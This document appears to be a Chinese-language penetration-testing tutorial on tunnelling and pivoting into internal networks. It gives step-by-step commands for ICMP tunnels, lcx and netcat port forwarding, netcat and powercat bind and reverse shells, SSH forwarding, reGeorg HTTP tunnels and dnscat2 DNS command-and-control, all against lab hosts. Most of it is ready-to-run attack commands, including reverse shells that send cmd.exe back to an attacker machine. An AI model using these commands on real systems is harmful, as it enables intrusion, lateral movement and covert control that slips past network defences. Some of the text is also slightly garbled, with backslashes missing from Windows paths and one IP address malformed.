概述:
根据OSI网络模型角度分析大致可分为三类:
分类:
网络层:IPv6隧道 ICMP隧道 GRE隧道
传输层:TCP隧道 UDP隧道 常规端口转发
应用层:SSH隧道 HTTP隧道 HTTPS隧道 DNS隧道
一、网络层
工具:
IPv6隧道
Socat6 6tunnel nt6tunnel
Icmp 隧道
Icmpsh
控制端安装:
apt-get install python-impacket
git clone https://github.com/inquisb/icmpsh.git
cd icmpsh
sudo python icmpsh_m.py 本机监听IP 被攻击机器IP
被攻击机器执行:
icmpsh.exe -t 192.168.1.203 -d 500 -b 30 -s 128
数据流量包
PingTunnel
http://freshmeat.sourceforge.net/projects/ptunnel/
实验拓扑:
实现效果:
这种攻击场景中很常见,就是攻击主机无法直接访问到数据库服务器,但是可以通过web服务器作为代理来进行访问,具体操作如下:
攻击主机 Linux服务器安装ptunnel工具
Linux服务器上操作:
# ptunnel -x hack405
攻击主机上操作:
# sudo ptunnel -p 192.168.1.14 -lp 2080 -da 10.10.202.103 -dp 3389 -x hack405
然后在攻击主机上就可以访问:
rdesktop 192.168.1.203:2080 -u '用户名' -p 密码
在Linux服务器上看下网络层的流量
二、传输层隧道技术
Lcx 端口转发
Lcx 是一个基于socket套接字实现的端口转发工具,有window和Linux两个版本,window版本为lcx.exe ,Linux的版本为portmap.
内网端口转发
Lcx.exe -slave public IP address 4444 127.0.0.1 3389
Vps 上执行:
Lcx.exe -listen 4444 5555
将本机上4444端口上的所有数据转发到本机的5555端口上
Mstsc public IPaddress:5555 访问即可连接内网主机的3389端口
另外一种利用场景:
本地端口映射,在渗透测试中,如果内网的主机限制了允许开放的端口,这时候就需要进行端口复用,一般就是复用允许的端口,53 或者80 ,443之类的
lcx.exe -tran 53 192.168.1.13 3389
Netcat 端口转发
使用nc进行端口扫描
Nc -v -z 192.168.1.11 20-1024
Nc 监听
Nc -lvvp 4444
文件传输
目标主机开启监听:
nc -lp 333 > 1.txt
源文件主机开启传输:
sudo nc -vn 192.168.1.14 333 < man.txt -q 1
(UNKNOWN) [192.168.1.14] 333 (?) open
正向shell
Window版本
服务端:
nc.exe -lvp 4444 -e c:WindowsSystem32cmd.exe
listening on [any] 4444 ...
192.168.1.14: inverse host lookup failed: h_errno 11004: NO_DATA
客户端:
Nc -lvp 192.168.1.14 4444
Linux 版本
服务端:
Nc -lvp 4444 -e /bin/bash
客户端:
Nc 192.168.1.14 4444
反向shell
客户端监听:
Nc -lvvp 4444
服务端:
Nc 192.168.1.13 -e c:WindowsSystem32cmd.exe
实验拓扑:
环境描述:
攻击者获取了Linux服务器的权限,无法直接访问数据库服务器,但是可以通过Linux服务器来访问数据库服务器,现在要通过内网代理的方式,实现攻击者直接访问数据库服务器
攻击者本机监听:
# sudo nc -lvvp 3333
数据库服务器执行:
# nc.exe-master>nc.exe -lvp 3333 -e c:Windowssystem32cmd.exe
Linux服务器 边界服务器上执行
# nc -v 192.168.1.203 3333 -c "nc -v 10.10.202.103 3333"
攻击者服务器上反弹回来数据库服务器的cmd shell
Powercat
power cat是nc的power shell版本,可以通过执行命令回到本地运行,也可以使用远程权限执行
Window上执行:
powercat -l -p 8080 -e cmd.exe -v
攻击者kail linux
# nc 192.168.1.13 8080 -vv
通过nc反向连接powercat
Kail 主机监听:
# nc -lvvp 8088
Window7主机执行:
# PS C:UserslisiDesktoppowercat-master> powercat -c 192.168.1.203 -p 8088 -v -e cmd.exe
通过powercat 返回power shell
这种情况下只能在window操作系统中进行
客户端下载powercat 并开启监听
PS C:UsersAdministratorDesktoppowercat-master> powercat -l -p 9999 -v
服务器端执行:
PS C:UserslisiDesktoppowercat-master> powercat -c 192.168.1.11 -p 9999 -v -ep
客户端返回powershell
Poershellcat DNS 隧道
Kail linux 主机安装
git clone https://github.com/iagox86/dnscat2.git
Cd dnscat2/server
gem install bundler
bundle install
sudo ruby dnscat2.rb pentest.com -e open --no-cache
# powercat -c 192.168.1.203 -p 53 -dns pentest.com -e cmd.exe
实验拓扑:
环境描述:
三台主机,其中Windows7 主机可以通过ping 命令访问 Windows server 2008 和kail linux ,kail Linux主机和Windows server 2008 之间无法访问,现在将windows 7 作为跳板,让kail Linux主机可以连接Windows server 2008。
# powercat -l -v -p 9999 -e cmd.exe
# powercat -l -p 8000 -r tcp:10.10.202.104:9999 -v
# sudo nc 192.168.1.13 8000 -vv
三、应用层隧道技术
SSH协议
SSH常见参数说明:
-C:压缩传输,提高传输速度
-f:将SSH传输转入后台执行,不占用当前shell
-N:建立静默连接,建立了连接,但是看不到会话
-g:允许远程主机连接本地用户转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态端口转发
-p:指定SSH端口
本地端口转发
实验环境:
以Linux服务器192.168.1.14为跳板,将内网的数据库服务器10.10.202.102的3389端口映射到VPS的192.168.1.203的1153端口上,再访问VPS的1153端口,就可以访问10.10.202.102的3389端口了。
VPS上执行如下命令:
ssh -CfNg -L 1153(vps端口):10.10.202.102:(目标端口) root@192.1681.1.13
ssh -CfNg -L 1153:10.10.202.102:3389 root@192.168.1.14
# rdesktop 192.168.1.203:1153 -u 'hacklisii' -p 123456
远程端口转发
左侧为攻击者VPS,右侧是一个小内网,包含二台服务器,内网没有边界,所以外部不能直接访问内网的服务器,内网的Linux服务器可以访问vps和数据库服务器,目标为访问内部的数据库服务器。
以web服务器为跳板机,将VPS的3307端口流量转发到10.10.202.102的3389上,然后访问VPS的3307端口就可以访问10.10.202.102的3389端口了
在WEB服务器上操作
# ssh -CfNg -R 3307:10.10.202.102:3389 gandolf@192.168.1.203
Vps上查看端口:
连接下试试
# rdesktop 127.0.0.1:3307 -u 'hacklisi' -p 123456
动态转发实验拓扑:
实验环境如上,现在目标是攻击者通过本地访问数据库服务器。动态端口映射就是建立一个SSH加密的SOCKS5 SOCK4代理通道
操作如下:
Kail Linux攻击者机器执行:
# ssh -CfNg -D 7000 root@192.168.1.14
设置系统代理访问
HTTP/HTTPS 协议
reGeorg 主要功能是把内网服务器端口的数据通过HTTP/HTTPS 隧道转发到本机,实现是基于HTTP协议
实验拓扑:
目标通过端口转发的方式在攻击机器kail linux 上直接访问内网10.10.202.0/24网段的机器
在攻击服务器上下载:https://github.com/sensepost/reGeorg
并将tunnel.nosocket.php 脚本上传到Linux服务器上,然后进行访问验证,是否正常工作
然后在kail linux 上执行如下命令:
# python reGeorgSocksProxy.py -u http://192.168.1.14/tunnel.nosocket.php -p 9999
gandolf@APT-101:~$ grep "9999" /etc/proxychains.conf
socks4 127.0.0.1 9999
gandolf@APT-101:~$
DNS协议
Dnscat2
直连模式
中继模式
支持多个会话,流量加密,使用密钥防止中间人攻击,内存中执行power shell脚本,隐蔽性强
操作步骤:
部署域名解析
首先需要一个域名,比如:hack.testlab
A 记录 c2.hack.testlab 指向 192.168.1.11
NS 记录 vpr 指向 c2.hack.testlab
安装dnscat2
# git clone https://github.com/lukebaggett/dnscat2-powershell.git
启动dnscat2
# sudo ruby ./dnscat2.rb vpr.hack.testlab -e open -c password --no-cache
客户端连接
客户端一般推荐使用power shell的dnscat 版本
Import-Module .dnscat2.ps1
Start-Dnscat2 -Domain vpr.hack.testlab -DNSServer 192.168.1.203
OVER!